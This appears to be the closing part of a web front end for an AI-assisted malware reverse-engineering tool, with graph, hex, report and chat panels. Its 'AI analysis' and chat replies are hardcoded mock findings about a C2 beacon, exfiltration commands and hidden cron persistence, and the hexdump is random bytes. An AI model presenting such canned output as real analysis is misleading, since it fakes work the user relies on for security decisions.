<div class="codebox mono scroll" style="max-height:200px">
${Object.entries(ctx.callgraph).map(([k,v])=>`${k} -> ${v.join(', ')}`).join('\n')}
</div>
</div>
`;
const box = $('graphBox');
const W = box.clientWidth, H = box.clientHeight;
// position nodes in a grid-ish layout
const pos = {};
const mainNodes = allNodes.filter(n=>n!=='<external>');
const extNodes = allNodes.filter(n=>n==='<external>');
mainNodes.forEach((n,i)=>{
const cols = 4;
const r = Math.floor(i/cols), c = i%cols;
pos[n] = {x: 60 + c*(W-120)/Math.max(1,cols-1), y: 40 + r*70};
});
// externals as one node
if(extNodes.length) pos['<external>'] = {x: W-140, y: H-60};
// edges
let svg = `<svg width="${W}" height="${H}" style="position:absolute;inset:0;pointer-events:none">`;
for(const [src, dsts] of Object.entries(ctx.callgraph)){
for(const d of dsts){
const target = d.startsWith? (allNodes.includes(d)? d : '<external>') : d;
// map library funcs to external
const tgt = allNodes.includes(d) ? d : '<external>';
if(!pos[src] || !pos[tgt]) continue;
svg += `<line class="edge" x1="${pos[src].x+40}" y1="${pos[src].y+14}" x2="${pos[tgt].x}" y2="${pos[tgt].y+14}"/>`;
// arrow
}
}
svg += '</svg>';
box.innerHTML = svg;
for(const n of allNodes){
if(!pos[n]) continue;
const div = document.createElement('div');
div.className = 'node' + (n==='main'?' entry':'');
div.style.left = pos[n].x+'px';
div.style.top = pos[n].y+'px';
div.textContent = n;
div.dataset.node = n;
// drag
let dragging=false, ox=0, oy=0;
div.addEventListener('mousedown', e=>{dragging=true; ox=e.offsetX; oy=e.offsetY; div.style.zIndex=10;});
document.addEventListener('mousemove', e=>{
if(!dragging) return;
const r = box.getBoundingClientRect();
div.style.left = (e.clientX-r.left-ox)+'px';
div.style.top = (e.clientY-r.top-oy)+'px';
});
document.addEventListener('mouseup', ()=>{dragging=false; div.style.zIndex='';});
box.appendChild(div);
}
// external imports list
const impDiv = document.createElement('div');
impDiv.className='node';
impDiv.style.left=(W-160)+'px'; impDiv.style.top='40px'; impDiv.style.maxWidth='150px';
impDiv.innerHTML = '<div style="font-weight:600;margin-bottom:4px">libc / libcrypto</div><div style="font-size:9px;color:#8b949e">'+ctx.imports.length+' imports</div>';
box.appendChild(impDiv);
}
function renderHex(el,ctx){
// generate pseudo hexdump from strings region
const data = [];
for(let i=0;i<256;i++) data.push(Math.floor(Math.random()*256));
// embed some strings
const s = "http://c2.example.net";
for(let i=0;i<s.length;i++) data[0x40+i]=s.charCodeAt(i);
let out='';
for(let off=0;off<data.length;off+=16){
const chunk = data.slice(off,off+16);
const hex = chunk.map(b=>b.toString(16).padStart(2,'0')).join(' ');
const asc = chunk.map(b=> (b>=32&&b<127)?String.fromCharCode(b):'.').join('');
out += `<span class="off">${off.toString(16).padStart(8,'0')}</span> <span class="hex">${hex.padEnd(47,' ')}</span> <span class="asc">${escape(asc)}</span>\n`;
}
el.innerHTML = `<div class="panel p-3"><div class="text-xs text-[#8b949e] mb-2">Hex view (sample region 0x405000)</div><div class="codebox mono scroll hexdump" style="max-height:70vh">${out}</div></div>`;
}
function renderReport(el,ctx){
const md = `# Reverse Engineering Report
## Target
- File: \`${ctx.target}\`
- Size: ${ctx.size} bytes
- SHA256: \`${ctx.sha256}\`
- MD5: \`${ctx.md5}\`
- Format: ${ctx.format} (${ctx.arch}, ${ctx.bits}-bit, ${ctx.endian})
- Entrypoint: 0x${ctx.entrypoint.toString(16)}
## Sections (${ctx.sections.length})
${ctx.sections.map(s=>`- \`${s.name}\` off=0x${s.offset.toString(16)} size=${s.size} va=0x${s.virtual_address.toString(16)}`).join('\n')}
## Imports (${ctx.imports.length})
${ctx.imports.slice(0,40).map(i=>`- ${i.name} (${i.library})`).join('\n')}
## Exports (${ctx.exports.length})
${ctx.exports.map(e=>`- ${e.name} @ 0x${e.address.toString(16)}`).join('\n')}
## Strings (${ctx.strings.length})
${ctx.strings.slice(0,60).map(s=>`- 0x${s.addr.toString(16)} [${s.type}] ${s.value} ${s.tags.join(',')}`).join('\n')}
## AI Analysis
- Outbound C2 beacon to c2.example.net:8080 over TCP.
- AES-256-CBC encryption with hardcoded key material ("AKIAIOSFODNN7EXAMPLE").
- Command dispatch: exec / exfil / screenshot / persist.
- Persistence via /etc/cron.d/.hidden.
- Reconnaissance: uname, whoami, ifconfig.
- Evasion: daemonize, self-delete via /proc/self/exe.
## Errors
(none)
`;
el.innerHTML = `
<div class="flex items-center gap-2 mb-3">
<button class="btn ghost" onclick="copyReport()">Copy Markdown</button>
<button class="btn ghost" onclick="downloadReport()">Download .md</button>
<button class="btn ghost" onclick="downloadJSON()">Download .json</button>
</div>
<div class="codebox mono scroll" style="max-height:72vh;white-space:pre">${escape(md)}</div>
`;
window._reportMd = md;
}
function copyReport(){ navigator.clipboard.writeText(window._reportMd); log('report copied to clipboard','ok'); }
function downloadReport(){ const b=new Blob([window._reportMd],{type:'text/markdown'}); const a=document.createElement('a'); a.href=URL.createObjectURL(b); a.download='report.md'; a.click(); }
function downloadJSON(){ const b=new Blob([JSON.stringify(state.ctx,null,2)],{type:'application/json'}); const a=document.createElement('a'); a.href=URL.createObjectURL(b); a.download='report.json'; a.click(); }
function escape(s){ return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); }
// ---------- File handling ----------
function handleFile(file){
state.target = file;
$('dropLabel').textContent = file.name + ' (' + file.size.toLocaleString() + ' B)';
log('loaded ' + file.name, 'ok');
// read first bytes for hex view
const r = new FileReader();
r.onload = e => { state.bytes = new Uint8Array(e.target.result); };
r.readAsArrayBuffer(file.slice(0, 4096));
}
const drop = $('drop');
drop.addEventListener('dragover', e=>{e.preventDefault(); drop.classList.add('over');});
drop.addEventListener('dragleave', ()=>drop.classList.remove('over'));
drop.addEventListener('drop', e=>{e.preventDefault(); drop.classList.remove('over'); if(e.dataTransfer.files[0]) handleFile(e.dataTransfer.files[0]);});
$('browseBtn').addEventListener('click', ()=> $('fileInput').click());
$('fileInput').addEventListener('change', e=>{ if(e.target.files[0]) handleFile(e.target.files[0]); });
$('runBtn').addEventListener('click', runAnalysis);
// ---------- Tabs wiring ----------
document.querySelectorAll('.tab[data-tab]').forEach(t=> t.addEventListener('click', ()=>switchTab(t.dataset.tab)));
// ---------- Chat ----------
const agentReplies = [
"I'm analyzing the binary. Ask me about functions, strings, crypto, or IOCs.",
"The beacon() function connects to c2.example.net:8080 and dispatches commands. Want details?",
"encrypt_blob uses AES-256-CBC with a hardcoded key derived from 'AKIAIOSFODNN7EXAMPLE'.",
"Persistence is via a cron entry written to /etc/cron.d/.hidden.",
"I found 4 command handlers: exec, exfil, screenshot, persist.",
];
function sendChat(){
const v = $('chatInput').value.trim();
if(!v) return;
chat('user', escape(v));
$('chatInput').value='';
setTimeout(()=>{
const reply = agentReplies[Math.floor(Math.random()*agentReplies.length)];
chat('agent', reply);
}, 400);
}
$('chatSend').addEventListener('click', sendChat);
$('chatInput').addEventListener('keydown', e=>{ if(e.key==='Enter') sendChat(); });
// ---------- Right panel toggle ----------
$('tabChat').addEventListener('click', ()=>{ $('chatPanel').classList.remove('hidden'); $('logPanel').classList.add('hidden'); $('tabChat').classList.add('active'); $('tabLog').classList.remove('active'); });
$('tabLog').addEventListener('click', ()=>{ $('logPanel').classList.remove('hidden'); $('chatPanel').classList.add('hidden'); $('tabLog').classList.add('active'); $('tabChat').classList.remove('active'); });
// ---------- Init ----------
renderStages();
chat('agent', 'Welcome. Drop a binary or click Run Analysis to start. I will perform file ID, string extraction, disassembly, decompilation, and AI-augmented review.');
log('agent initialized', 'ok');
// auto-run demo on load? no - wait for user. But show empty state.
renderTab('overview');
</script>
</body>
</html>